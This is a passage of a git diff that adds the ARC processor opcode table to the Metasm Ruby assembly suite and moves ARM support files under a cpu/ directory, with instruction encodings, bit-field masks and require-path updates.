b/lib/metasm/metasm/cpu/arc/opcodes.rb new file mode 100644 index 0000000000..66417d93fd --- /dev/null +++ b/lib/metasm/metasm/cpu/arc/opcodes.rb @@ -0,0 +1,588 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/arc/main' + +module Metasm +class ARC + def addop32(name, bin, *args) + addop(:ac32, name, bin, *args) + end + + def addop16(name, bin, *args) + addop(:ac16, name, bin, *args) + end + + def addop(mode, name, bin, *args) + o = Opcode.new(name) + o.bin = bin + args.each { |a| + o.args << a if @fields_mask[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + } + (mode == :ac16) ? (@opcode_list16 << o) : (@opcode_list32 << o) + end + + def init_opcode_list + @opcode_list16 = [] + @opcode_list32 = [] + + @valid_props.update :flag_update => true, :delay_slot => true + @cond_suffix = [''] + %w[z nz p n cs cc vs vc gt ge lt le hi ls pnz] + #The remaining 16 condition codes (10-1F) are available for extension + @cond_suffix += (0x10..0x1f).map{ |i| "extcc#{i.to_s(16)}" } + + # Compact 16-bits operands field masks + fields_mask16 = { + :ca => 0x7, :cb => 0x7, :cb2 => 0x7, :cb3 => 0x7, :cc => 0x7, + :cu => 0x1f, + :ch => 0b11100111, + + # immediate (un)signed + :cu3 => 0x7, :cu8 => 0xff, + # cu7 is 32-bit aligned, cu6 is 16-bit aligned, cu6 is 8-bit aligned + :cu5 => 0x1f, :cu5ee => 0x1f, :cu6 => 0x3f, :cu7 => 0x7f, + + :cs9 => 0x1ff, :cs9ee => 0x1ff, :cs10 => 0x1ff, :cs11 => 0x1ff, + + # signed displacement + :cdisps7=> 0x3f, :cdisps8 => 0x7f, :cdisps10 => 0x1ff, :cdisps13 => 0x7FF, + + # memref [b+u], [sp,u], etc. + :@cb => 0x7, :@cbu7 => 0b11100011111, :@cbu6 => 0b11100011111, :@cbu5 => 0b11100011111, + :@cspu7 => 0b11111, :@cbcc => 0b111111, + :@gps9 => 0x1ff, :@gps10 => 0x1ff, :@gps11 => 0x1ff, + + # implicit operands + :climm => 0x0, :cr0 => 0x0, + :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0 + } + + fields_shift16 = { + :ca => 0x0, :cb => 0x8, :cb2 => 0x8, :cb3 => 0x8, :cc => 0x5, + :cu => 0x0, + + # immediate (un)signed + :ch => 0x0, + :cu3 => 0x0, :cu5 => 0, :cu5ee => 0, :cu6 => 5, :cu7 => 0x0, :cu8 => 0x0, + :cs9 => 0x0, :cs9ee => 0x0, :cs10 => 0x0, :cs11 => 0x0, + + # signed displacement + :cdisps7=> 0x0, :cdisps8 => 0x0, :cdisps10 => 0x0, :cdisps13 => 0x0, + + # memref [b+u] + :@cb => 0x8, :@cbu7 => 0x0, :@cbu6 => 0x0, :@cbu5 => 0x0, + :@cspu7 => 0x0, :@cbcc => 0x5, + :@gps9 => 0x0, :@gps10 => 0x0, :@gps11 => 0x0, + + # implicit operands + :climm => 0x0, :cr0 => 0x0, + :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0, + } + + fields_mask32 = { + :a => 0x3f, :b => 0b111000000000111, :bext => 0b111000000000111, + :c => 0x3f, :@c => 0x3f, :cext => 0x3f, :@cext => 0x3f, + + :u6 => 0x3f, :u6e => 0x3f, + :s8e => 0x1fd, :s9 => 0x7f, + :s12 => 0xfff, :s12e => 0xfff, + :s21e => 0x1ffBff, :s21ee => 0x1ff3ff, + :s25e => 0x7feffcf, :s25ee => 0x7fcffcf, + + :@bs9 => 0x7fff, :@bc => 0x1ff, :@bextcext => 0x1C01FF, + + :limm => 0x0, :@limm => 0x0, + :@limmc => 0x3f, :@blimm => 0x7, + + :auxlimm => 0x0, :auxs12 => 0xfff, + + :ccond => 0x1f, #condition codes + :delay5 => 1, :delay16 => 1,# delay slot + :flags15 => 0x1, :flags16 => 0x1, + :signext6 => 0x1, :signext16 => 0x1, + :cache5 => 0x1, :cache11 => 0x1, :cache16 => 0x1, # data cache mode field + :sz1 => 0x3, :sz7 => 0x3, :sz16 => 0x3, :sz17 => 0x3, #data size field + :wb3 => 0x3, :wb9 => 0x3, :wb22 => 0x3, #write-back flag + :zero => 0x0, :b2 => 0x0, :@ilink1 => 0x0, :@ilink2 => 0x0 + } + #FIXME + + fields_shift32 = { + :a => 0x0, :b => 0xC, :bext => 0xC, + :c => 0x6, :@c => 0x6, :cext => 0x6, :@cext => 0x6, + + :u6 => 0x6, :u6e =>0x6, + :s8e => 15, :s9 => 0x11, + :s12 => 0x0, :s12e => 0, + :s21e => 0x6, :s21ee => 0x6, + :s25e => 0, :s25ee => 0, + + :limm => 0x0, :@limm => 0x0, + :@limmc => 0x6, :@blimm => 0x18, + + :auxlimm => 0x0, :auxs12 => 0, + + :@bs9 => 12, :@bc => 6, :@bextcext => 6, + + :ccond => 0, #condition codes + :delay5 => 5, :delay16 => 16,# delay slot + :flags15 => 15, :flags16 => 16, + :signext6 => 6, :signext16 => 16, + :cache5 => 5, :cache11 => 11, :cache16 => 16, # data cache mode field + :sz1 => 1, :sz7 => 7, :sz16 => 16, :sz17 => 17, #data size field + :wb3 => 3, :wb9 => 9, :wb22 => 22, #write-back flag + :zero => 0x0, :b2 => 0x0, :@ilink1 => 0, :@ilink2 => 0, + } + + @fields_mask = fields_mask16.merge(fields_mask32) + @fields_shift = fields_shift16.merge(fields_shift32) + + init_arc_compact16() + init_arc_compact32() + + {16 => @opcode_list16, 32 => @opcode_list32} + end + + def add_artihm_op(op, majorcode, subcode, *flags) + # 0bxxxxxbbb00xxxxxxFBBBCCCCCCAAAAAA + addop32 op, 0b00000000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :cext, :flags15 + # 0bxxxxxbbb01xxxxxxFBBBuuuuuuAAAAAA + addop32 op, 0b00000000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 + # 0bxxxxxbbb10xxxxxxFBBBssssssSSSSSS + addop32 op, 0b00000000100000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :s12, :flags15 + # 0bxxxxxbbb11xxxxxxFBBBCCCCCC0QQQQQ + addop32 op, 0b00000000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :cext, :ccond, :flags15 + # 0bxxxxxbbb11xxxxxxFBBBuuuuuu1QQQQQ + addop32 op, 0b00000000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 + end + + def add_logical_op(op, majorcode, subcode, *flags) + # 0b00100bbb00xxxxxxFBBBCCCCCCAAAAAA + addop32 op, 0b00100000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :c, :flags15 + # 0b00100bbb01xxxxxxFBBBuuuuuuAAAAAA + addop32 op, 0b00100000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 + # 0b00100bbb11xxxxxxFBBBCCCCCC0QQQQQ + # WTF + addop32 op, 0b00100000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :c, :ccond, :flags15 + # 0b00100bbb11xxxxxxFBBBuuuuuu1QQQQQ + addop32 op, 0b00100000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 + end + + def add_artihm_op_reduce(op, majorcode, subcode) + # 0bxxxxxbbb00101111FBBBCCCCCCxxxxxx + addop32 op, 0b00000000001011110000000000000000 | majorcode << 0x1b | subcode, :b, :cext, :flags15 + # 0bxxxxxbbb01101111FBBBuuuuuuxxxxxx + addop32 op, 0b00000000011011110000000000000000 | majorcode << 0x1b | subcode, :b, :u6, :flags15 + end + + def add_condbranch_op(op, ccond) + # 0b00001bbbsssssss1SBBBUUUUUUN0xxxx + addop32 op, 0b00001000000000010000000000000000 | ccond, :bext, :cext, :s8e, :setip, :delay5 + # 0b00001bbbsssssss1SBBBUUUUUUN1xxxx + addop32 op, 0b00001000000000010000000000010000 | ccond, :b, :u6, :s8e, :setip, :delay5 + end + + def add_condjmp_op() + # 0b00100RRR1110000D0RRRCCCCCC0QQQQQ + addop32 'j', 0b00100000111000000000000000000000, :@cext, :ccond, :setip, :delay16 + # 0b00100RRR1110000D0RRRuuuuuu1QQQQQ + addop32 'j', 0b00100000111000000000000000100000, :u6, :ccond, :setip, :delay16 + # 0b00100RRR111000001RRR0111010QQQQQ + addop32 'j', 0b00100000111000001000011101000000, :@ilink1, :ccond, :setip, :flag_update + # 0b00100RRR111000001RRR0111100QQQQQ + addop32 'j', 0b00100000111000001000011110000000, :@ilink2, :ccond, :setip, :flag_update + end + + def add_condjmplink_op() + # 0b00100RRR111000100RRRCCCCCC0QQQQQ + addop32 'jl', 0b00100000111000100000000000000000, :@cext, :ccond, :setip, :saveip, :delay16 + # 0b00100RRR111000100RRRuuuuuu1QQQQQ + addop32 'jl', 0b00100000111000100000000000100000, :u6, :ccond, :setip, :saveip, :delay16 + end + + def init_arc_compact32 + + add_artihm_op_reduce 'abs', 0b00100, 0b001001 + add_artihm_op_reduce 'abss', 0b00101, 0b000101 + add_artihm_op_reduce 'abssw', 0b00101, 0b000100 + + add_artihm_op 'adc', 0b00100, 0b000001 + add_artihm_op 'add', 0b00100, 0b000000 + add_artihm_op 'add1', 0b00100, 0b010100 + add_artihm_op 'add2', 0b00100, 0b010101 + add_artihm_op 'add3', 0b00100, 0b010110 + add_artihm_op 'adds', 0b00101, 0b000110 + add_artihm_op 'addsw', 0b00101, 0b010101, :extended + add_artihm_op 'addsdw',0b00101, 0b101000, :extended + add_artihm_op 'and' ,0b00100, 0b000100 + + add_artihm_op_reduce 'asl', 0b00100, 0b000000 + + add_artihm_op 'asl', 0b00101, 0b000000, :extended + add_artihm_op 'asls', 0b00101, 0b001010, :extended + + add_artihm_op_reduce 'asr', 0b00100, 0b000001 + + add_artihm_op 'asr', 0b00101, 0b000010 + add_artihm_op 'asrs', 0b00101, 0b001011 + + # 0b00001bbbsssssss1SBBBCCCCCCN01110 + addop32 'bbit0', 0b00001000000000010000000000001110, :b, :c, :s9, :delay5, :setip + # 0b00001bbbsssssss1SBBBuuuuuuN11110 + addop32 'bbit0', 0b00001000000000010000000000011110, :b, :u6, :s9, :delay5, :setip + # 0b00001bbbsssssss1SBBBCCCCCCN01111 + addop32 'bbit1', 0b00001000000000010000000000001111, :b, :c, :s9, :delay5, :setip + # 0b00001bbbsssssss1SBBBuuuuuuN11111 + addop32 'bbit1', 0b00001000000000010000000000011111, :b, :u6, :s9, :delay5, :setip + + # 0b00000ssssssssss0SSSSSSSSSSNQQQQQ + addop32 'b', 0b00000000000000000000000000000000, :s21e, :ccond, :delay5, :setip + # 0b00000ssssssssss1SSSSSSSSSSNRtttt + addop32 'b', 0b00000000000000010000000000000000, :s25e, :delay5, :setip, :stopexec + # WTF: unknown encoding, bit 5 should be reserved + addop32 'b', 0b00000000000000010000000000010000, :s25e, :delay5, :setip, :stopexec + + add_logical_op 'bclr', 0b00100, 0b010000 + add_artihm_op 'bic', 0b00100, 0b000110 + + # 0b00001sssssssss00SSSSSSSSSSNQQQQQ + addop32 'bl', 0b00001000000000000000000000000000, :s21ee, :ccond, :delay5, :setip, :saveip + # 0b00001sssssssss10SSSSSSSSSSNRtttt + addop32 'bl', 0b00001000000000100000000000000000, :s25ee, :delay5, :setip, :saveip, :stopexec + + add_logical_op 'bmsk', 0b00100, 0b010011 + + add_condbranch_op 'breq', 0b0000 + add_condbranch_op 'brne', 0b0001 + add_condbranch_op 'brlt', 0b0010 + add_condbranch_op 'brge', 0b0011 + add_condbranch_op 'brlo', 0b0100 + add_condbranch_op 'brhs', 0b0101 + + addop32 'brk', 0b00100101011011110000000000111111, :stopexec + + add_logical_op 'bset', 0b00100, 0b001111 + + # 0b00100bbb110100011BBBCCCCCC0QQQQQ + addop32 'btst', 0b00100000110100011000000000000000, :bext, :c, :ccond + # 0b00100bbb110100011BBBuuuuuu1QQQQQ + addop32 'btst', 0b00100000110100011000000000100000, :b, :u6, :ccond + # WTF 0b00100bbb010100011BBBuuuuuu0QQQQQ + addop32 'btst', 0b00100000010100011000000000000000, :b, :u6, :ccond + + add_logical_op 'bxor', 0b00100, 0b010010 + + # 0b00100bbb100011001BBBssssssSSSSSS + addop32 'cmp', 0b00100000100011001000000000000000, :b, :s12 + # WTF unknown encoding ... + # 0b00100bbb010011001BBBssssssSSSSSS + addop32 'cmp', 0b00100000010011001000000000000000, :b, :s12 + # 0b00100bbb110011001BBBuuuuuu1QQQQQ + addop32 'cmp', 0b00100000110011001000000000100000, :b, :u6, :ccond + # WTF unknown encoding ... + # 0b00100bbb010011001BBBssssssSSSSSS + addop32 'cmp', 0b00100000000011001000000000000000, :bext, :cext, :ccond + # 0b00100bbb110011001BBBCCCCCC0QQQQQ + addop32 'cmp', 0b00100000110011001000000000000000, :bext, :cext, :ccond + + add_artihm_op 'divaw', 0b00101, 0b001000, :extended + + # 0b00100bbb00101111DBBBCCCCCC001100 + addop32 'ex', 0b00100000001011110000000000001100, :b, :@cext, :cache16 + # 0b00100bbb01101111DBBBuuuuuu001100 + addop32 'ex', 0b00100000011011110000000000001100, :b, :@u6, :cache16 + + add_artihm_op_reduce 'extb', 0b00100, 0b000111 + add_artihm_op_reduce 'extw', 0b00100, 0b001000 + + # WTF unknown encoding ... + # 0b00100rrr111010010RRRCCCCCC0QQQQQ + addop32 'flag', 0b00100000001010010000000000000000, :cext, :ccond, :flag_update + # 0b00100rrr111010010RRRuuuuuu1QQQQQ + addop32 'flag', 0b00100000001010010000000000100000, :u6, :ccond, :flag_update + # 0b00100rrr101010010RRRssssssSSSSSS + addop32 'flag', 0b00100000011010010000000000000000, :s12, :flag_update + + add_condjmp_op() + add_condjmplink_op() + + # 0b00100RRR001000000RRRCCCCCCRRRRRR + addop32 'j', 0b00100000001000000000000000000000, :@cext, :delay16, :setip, :stopexec + # 0b00100RRR011000000RRRuuuuuuRRRRRR + addop32 'j', 0b00100000011000000000000000000000, :u6, :delay16, :setip, :stopexec + # 0b00100RRR101000000RRRssssssSSSSSS + addop32 'j', 0b00100000101000000000000000000000, :s12, :delay16, :setip, :stopexec + # 0b00100RRR001000001RRR011101RRRRRR + addop32 'j.f', 0b00100000001000001000011101000000, :@ilink1, :flag_update, :setip, :stopexec + # 0b00100RRR001000001RRR011110RRRRRR + addop32 'j.f', 0b00100000001000001000011110000000, :@ilink2, :flag_update, :setip, :stopexec + + # 0b00100RRR0010001D0RRRCCCCCCRRRRRR + addop32 'jl', 0b00100000001000100000000000000000, :@cext, :delay16, :setip, :saveip, :stopexec + # 0b00100RRR0110001D0RRRuuuuuuRRRRRR + addop32 'jl', 0b00100000011000100000000000000000, :u6, :delay16, :setip, :saveip, :stopexec + # 0b00100RRR1010001D0RRRssssssSSSSSS + addop32 'jl', 0b00100000101000100000000000000000, :s12, :delay16, :setip, :saveip, :stopexec + + # 0b00010bbbssssssssSBBBDaaZZXAAAAAA + addop32 'ld', 0b00010000000000000000000000000000, :a, :@bs9, :sz7, :signext6, :wb9, :cache11 + + # 0b00100bbbaa110ZZXDBBBCCCCCCAAAAAA + addop32 'ld', 0b00100000001100000000000000000000, :a, :@bextcext, :sz17, :signext16, :wb22, :cache11 + + # 0b00100RRR111010000RRRuuuuuu1QQQQQ + addop32 'lp', 0b00100000111010000000000000100000, :u6e, :ccond, :setip + # 0b00100RRR101010000RRRssssssSSSSSS + addop32 'lp', 0b00100000101010000000000000000000, :s12e, :setip + + # 0b00100bbb001010100BBBCCCCCCRRRRRR + addop32 'lr', 0b00100000101010100000000000000000, :b, :@c + # 0b00100bbb001010100BBB111110RRRRRR + addop32 'lr', 0b00100000001010100000111110000000, :b, :auxlimm + # 0b00100bbb101010100BBBssssssSSSSSS + addop32 'lr', 0b00100000011010100000000000000000, :b, :auxs12 + # WTF unknown encoding ... + # 0b00100bbb101010100BBBssssssSSSSSS + addop32 'lr', 0b00100000101010100000000000000000, :b, :auxs12 + + add_artihm_op_reduce 'lsr', 0b00100, 0b000010 + + add_artihm_op 'lsr', 0b00101, 0b000001 + add_artihm_op 'max', 0b00100, 0b001000 + add_artihm_op 'min', 0b00100, 0b001001 + + # 0b00100bbb10001010FBBBssssssSSSSSS + addop32 'mov', 0b00100000100010100000000000000000, :b, :s12, :flags15 + # WTF unknown encoding ... + # 0b00100bbb01001010FBBBssssssSSSSSS + addop32 'mov', 0b00100000010010100000000000000000, :b, :s12, :flags15 + # 0b00100bbb11001010FBBBCCCCCC0QQQQQ + addop32 'mov', 0b00100000110010100000000000000000, :b, :cext, :ccond , :flags15 + # WTF unknown encoding .. + # 0b00100bbb00001010FBBBCCCCCC0QQQQQ + addop32 'mov', 0b00100000000010100000000000000000, :b, :cext, :ccond , :flags15 + # 0b00100bbb11001010FBBBuuuuuu1QQQQQ + addop32 'mov', 0b00100000110010100000000000100000, :b, :u6, :ccond , :flags15 + + add_artihm_op 'mpy', 0b00100, 0b011010, :extended + add_artihm_op 'mpyh', 0b00100, 0b011011, :extended + add_artihm_op 'mpyhu', 0b00100, 0b011100, :extended + add_artihm_op 'mpyu', 0b00100, 0b011101, :extended + + # WTF: neg instruction is not differenciated from a rsub :a, :b, :u6 + # : 0b00100bbb01001110FBBB000000AAAAAA + #addop32 'neg', 0b00100000010011100000000000000000, :a, :b, :flags15 + + # WTF: neg instruction is not differenciated from a rsub :b, :b2, :u6 + # 0b00100bbb11001110FBBB0000001QQQQQ + #addop32 'neg', 0b00100000110011100000000000100000, :b, :b2, :ccond , :flags15 + + add_artihm_op_reduce 'negs', 0b00101, 0b000111 + add_artihm_op_reduce 'negsw', 0b00101, 0b000110 + + # nop is an alias over mov null, 0 (mov - [:b, :s12, :flags15]) + addop32 'nop', 0b00100110010010100111000000000000 + + add_artihm_op_reduce 'norm', 0b00101, 0b000001 + add_artihm_op_reduce 'normw', 0b00101, 0b001000 + add_artihm_op_reduce 'not', 0b00100, 0b001010 + + add_artihm_op 'or', 0b00100, 0b000101 + + # 0b00010bbbssssssssSBBB0aa000111110 + addop32 'prefetch', 0b00010000000000000000000000111110, :@bs9, :wb + # 0b00100bbbaa1100000BBBCCCCCC111110 + addop32 'prefetch', 0b00100000001100000000000000111110, :@bextcext, :wb22 + + # 0b00100bbb100011011BBBssssssSSSSSS + addop32 'rcmp', 0b00100000100011011000000000000000, :b, :s12 + # 0b00100bbb110011011BBBCCCCCC0QQQQQ + addop32 'rcmp', 0b00100000110011011000000000000000, :bext, :cext, :ccond + # 0b00100bbb110011011BBBuuuuuu1QQQQQ + addop32 'rcmp', 0b00100000110011011000000000100000, :b, :u6, :ccond + + add_artihm_op_reduce 'rlc', 0b00100, 0b001011 + add_artihm_op_reduce 'rnd16', 0b00101, 0b000011 + add_artihm_op_reduce 'ror', 0b00100, 0b000011 + + add_artihm_op 'ror', 0b00101, 0b000011, :extended + + add_artihm_op_reduce 'rrc', 0b00100, 0b000100 + + add_artihm_op 'rsub', 0b00100, 0b001110 + + addop32 'rtie', 0b00100100011011110000000000111111, :setip, :stopexec + + add_artihm_op_reduce 'sat16', 0b00101, 0b000010 + + add_artihm_op 'sbc', 0b00100, 0b000011 + + add_artihm_op_reduce 'sexb', 0b00100, 0b000101 + add_artihm_op_reduce 'sexbw', 0b00100, 0b000110 + + # 0b00100001011011110000uuuuuu111111 + addop32 'sleep', 0b00100001011011110000000000111111, :u6 + + # 0b00100bbb001010110BBBCCCCCCRRRRRR + addop32 'sr', 0b00100000001010110000000000000000, :bext, :@cext + # 0b00100110101010110111CCCCCCRRRRRR + addop32 'sr', 0b00100000101010110000000000000000, :bext, :auxs12 + # WTF: unknown encoding + addop32 'sr', 0b00100000011010110000000000000000, :bext, :auxs12 + + # 0b00011bbbssssssssSBBBCCCCCCDaaZZR + addop32 'st', 0b00011000000000000000000000000000, :cext, :@bs9, :sz1, :wb3, :cache5 + + add_artihm_op 'sub', 0b00100, 0b000010 + add_artihm_op 'sub1', 0b00100, 0b010111 + add_artihm_op 'sub2', 0b00100, 0b011000 + add_artihm_op 'sub3', 0b00100, 0b011001 + + # WTF: same encoding as xor instructions + #add_artihm_op 'subs', 0b00100, 0b000111 + + add_artihm_op 'subsdw', 0b00101, 0b101001, :extended + + add_artihm_op_reduce 'swap', 0b00101, 0b000000 + + addop32 'swi', 0b00100010011011110000000000111111, :setip, :stopexec + addop32 'sync', 0b00100011011011110000000000111111 + + # 0b00100bbb100010111BBBssssssSSSSSS + addop32 'tst', 0b00100000100010111000000000000000, :b, :s12 + # 0b00100bbb110010111BBBCCCCCC0QQQQQ + addop32 'tst', 0b00100000110010111000000000000000, :bext, :cext, :ccond + # 0b00100bbb110010111BBBuuuuuu1QQQQQ + addop32 'tst', 0b00100000110010111000000000100000, :b, :u6, :ccond + + add_artihm_op 'xor', 0b00100, 0b000111 + end + + # ARCompact 16-bit instructions + def init_arc_compact16 + addop16 'abs_s', 0x7811, :cb, :cc + addop16 'add_s', 0x6018, :ca, :cb, :cc + addop16 'add_s', 0x7000, :cb, :cb2, :ch + addop16 'add_s', 0x6800, :cc, :cb, :cu3 + addop16 'add_s', 0xe000, :cb, :cb2, :cu7 + + # same encoding as add_s b,b,h + #addop16 'add_s', 0x70c7, :cb, :cb2, :climm + + addop16 'add_s', 0xc080, :cb, :sp, :cu5ee + addop16 'add_s', 0xc0a0, :sp, :sp2, :cu5ee + addop16 'add_s', 0xce00, :cr0, :gp, :cs9 + addop16 'add1_s', 0x7814, :cb, :cb2, :cc + addop16 'add2_s', 0x7815, :cb, :cb2, :cc + addop16 'add3_s', 0x7816, :cb, :cb2, :cc + addop16 'and_s', 0x7804, :cb, :cb2, :cc + addop16 'asl_s', 0x7818, :cb, :cb2, :cc + addop16 'asl_s', 0x6810, :cc, :cb, :cu3 + addop16 'asl_s', 0xb800, :cb, :cb2, :cu5 + addop16 'asl_s', 0x781b, :cb, :cc + addop16 'asr_s', 0x781a, :cb, :cb2, :cc + addop16 'asr_s', 0x6818, :cc, :cb, :cu3 + addop16 'asr_s', 0xb840, :cb, :cb2, :cu5 + addop16 'asr_s', 0x781c, :cb, :cc + addop16 'b_s', 0xf000, :cdisps10, :setip, :stopexec + addop16 'beq_s', 0xf200, :cdisps10, :setip + addop16 'bne_s', 0xf400, :cdisps10, :setip + addop16 'bgt_s', 0xf600, :cdisps7, :setip + addop16 'bge_s', 0xf640, :cdisps7, :setip + addop16 'blt_s', 0xf680, :cdisps7, :setip + addop16 'ble_s', 0xf6c0, :cdisps7, :setip + addop16 'bhi_s', 0xf700, :cdisps7, :setip + addop16 'bhs_s', 0xf740, :cdisps7, :setip + addop16 'blo_s', 0xf780, :cdisps7, :setip + addop16 'bls_s', 0xf7c0, :cdisps7, :setip + addop16 'bclr_s', 0xb8a0, :cb, :cb2, :cu5 + addop16 'bic_s', 0x7806, :cb, :cb2, :cc + addop16 'bl_s', 0xf800, :cdisps13, :setip, :saveip, :stopexec + addop16 'bmsk_s', 0xb8c0, :cb, :cb2, :cu5 + addop16 'breq_s', 0xe800, :cb, :zero, :cdisps8, :setip + addop16 'brne_s', 0xe880, :cb, :zero, :cdisps8, :setip + addop16 'brk_s', 0x7fff + addop16 'bset_s', 0xb880, :cb, :cb2, :cu5 + addop16 'btst_s', 0xb8e0, :cb, :cu5 + addop16 'cmp_s', 0x7010, :cb, :ch + addop16 'cmp_s', 0xe080, :cb, :cu7 + + # encoded over cmp_s b,h + # addop16 'cmp_s', 0x70d7, :cb, :limm + + addop16 'extb_s', 0x780f, :cb, :cc + addop16 'extw_s', 0x7810, :cb, :cc + addop16 'j_s', 0x7800, :@cb, :setip, :stopexec + addop16 'j_s.d', 0x7820, :@cb, :setip, :stopexec, :delay_slot + addop16 'j_s', 0x7ee0, :@blink, :setip, :stopexec + addop16 'j_s.d', 0x7fe0, :@blink, :setip, :stopexec, :delay_slot + addop16 'jeq_s', 0x7ce0, :@blink, :setip + addop16 'jne_s', 0x7de0, :@blink, :setip + addop16 'jl_s', 0x7840, :@cb, :setip, :saveip, :stopexec + addop16 'jl_s.d', 0x7860, :@cb, :setip, :saveip, :stopexec, :delay_slot + addop16 'ld_s', 0x6000, :ca, :@cbcc + addop16 'ldb_s', 0x6008, :ca, :@cbcc + addop16 'ldw_s', 0x6010, :ca, :@cbcc + addop16 'ld_s', 0x8000, :cc, :@cbu7 + addop16 'ldb_s', 0x8800, :cc, :@cbu5 + addop16 'ldw_s', 0x9000, :cc, :@cbu6 + addop16 'ldw_s.x', 0x9800, :cc, :@cbu6 + addop16 'ld_s', 0xc000, :cb, :@cspu7 + addop16 'ldb_s', 0xc020, :cb, :@cspu7 + addop16 'ld_s', 0xc800, :cr0, :@gps11 + addop16 'ldb_s', 0xca00, :cr0, :@gps9 + addop16 'ldw_s', 0xcc00, :cr0, :@gps10 + addop16 'ld_s', 0xd000, :cb, :@pclu10 + + # FIXME: exact same encoding as asl_s instructions + #addop16 'lsl_s', 0x7818, :cb, :cb2, :cc + #addop16 'lsl_s', 0x6810, :cc, :cb, :cu3 + #addop16 'lsl_s', 0xb800, :cb, :cb2, :cu5 + #addop16 'lsl_s', 0x781d, :cb, :cc + + addop16 'lsr_s', 0x7819, :cb, :cb2, :cc + addop16 'lsr_s', 0xb820, :cb, :cb2, :cu5 + addop16 'lsr_s', 0x781d, :cb, :cc + addop16 'mov_s', 0x7008, :cb, :ch + + # FIXME: same encoding as previous instruction + #addop16 'mov_s', 0x70cf, :cb, :limm + + addop16 'mov_s', 0xd800, :cb, :cu8 + addop16 'mov_s', 0x7018, :ch, :cb + + # TODO seems to overlap with previous instruction + addop16 'mov_s', 0x70df, :zero, :cb + addop16 'mul64_s', 0x780c, :zero, :cb, :cc + addop16 'neg_s', 0x7813, :cb, :cc + addop16 'not_s', 0x7812, :cb, :cc + addop16 'nop_s',0x78e0 + addop16 'unimp_s', 0x79e0 + addop16 'or_s', 0x7805, :cb, :cb2, :cc + addop16 'pop_s', 0xc0c1, :cb + addop16 'pop_s', 0xc0d1, :blink + addop16 'push_s', 0xc0e1, :cb + addop16 'push_s', 0xc0f1, :blink + addop16 'sexb_s', 0x780d, :cb, :cc + addop16 'sexw_s', 0x780e, :cb, :cc + addop16 'st_s', 0xc040, :cb, :@cspu7 + addop16 'stb_s', 0xc060, :cb, :@cspu7 + addop16 'st_s', 0xa000, :cc, :@cbu7 + addop16 'stb_s', 0xa800, :cc, :@cbu5 + addop16 'stw_s', 0xb000, :cc, :@cbu6 + addop16 'sub_s', 0x7802, :cb, :cb2, :cc + addop16 'sub_s', 0x6808, :cc, :cb, :cu3 + addop16 'sub_s', 0xb860, :cb, :cb2, :cu5 + addop16 'sub_s', 0xc1a0, :sp, :sp2, :cu5ee + addop16 'sub_s.ne', 0x78c0, :cb, :c2, :cb3 + addop16 'trap_s', 0x781E, :cu6, :setip, :stopexec + addop16 'tst_s', 0x780b, :cb, :cc + addop16 'xor_s', 0x7807, :cb, :cb2, :cc + end + +end +end diff --git a/lib/metasm/metasm/arm.rb b/lib/metasm/metasm/cpu/arm.rb similarity index 50% rename from lib/metasm/metasm/arm.rb rename to lib/metasm/metasm/cpu/arm.rb index 2f1232645f..29f78f8e3f 100644 --- a/lib/metasm/metasm/arm.rb +++ b/lib/metasm/metasm/cpu/arm.rb @@ -3,10 +3,12 @@ # # Licence is LGPL, see LICENCE in the top-level directory +class Metasm::ARM < Metasm::CPU +end require 'metasm/main' -require 'metasm/arm/parse' -require 'metasm/arm/encode' -require 'metasm/arm/decode' -require 'metasm/arm/render' -require 'metasm/arm/debug' +require 'metasm/cpu/arm/parse' +require 'metasm/cpu/arm/encode' +require 'metasm/cpu/arm/decode' +require 'metasm/cpu/arm/render' +require 'metasm/cpu/arm/debug' diff --git a/lib/metasm/metasm/arm/debug.rb b/lib/metasm/metasm/cpu/arm/debug.rb similarity index 92% rename from lib/metasm/metasm/arm/debug.rb rename to lib/metasm/metasm/cpu/arm/debug.rb index acfd579a46..6c115c47f4 100644 --- a/lib/metasm/metasm/arm/debug.rb +++ b/lib/metasm/metasm/cpu/arm/debug.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' module Metasm class ARM @@ -15,7 +15,7 @@ class ARM @dbg_register_flags ||= :flags end - def dbg_register_list + def dbg_register_list @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc] end diff --git a/lib/metasm/metasm/arm/decode.rb b/lib/metasm/metasm/cpu/arm/decode.rb similarity index 92% rename from lib/metasm/metasm/arm/decode.rb rename to lib/metasm/metasm/cpu/arm/decode.rb index 3dbf7a3053..dae5f1093e 100644 --- a/lib/metasm/metasm/arm/decode.rb +++ b/lib/metasm/metasm/cpu/arm/decode.rb @@ -3,7 +3,7 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/arm/opcodes' +require 'metasm/cpu/arm/opcodes' require 'metasm/decode' module Metasm @@ -38,7 +38,7 @@ class ARM end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length + return if edata.ptr+4 > edata.length di = DecodedInstruction.new(self) val = edata.decode_imm(:u32, @endianness) di.instance_variable_set('@raw', val) @@ -58,11 +58,11 @@ class ARM op = di.opcode di.instruction.opname = op.name val = di.instance_variable_get('@raw') - + field_val = lambda { |f| r = (val >> @fields_shift[f]) & @fields_mask[f] case f - when :i16; Expression.make_signed(r, 16) + when :i12; Expression.make_signed(r, 12) when :i24; Expression.make_signed(r, 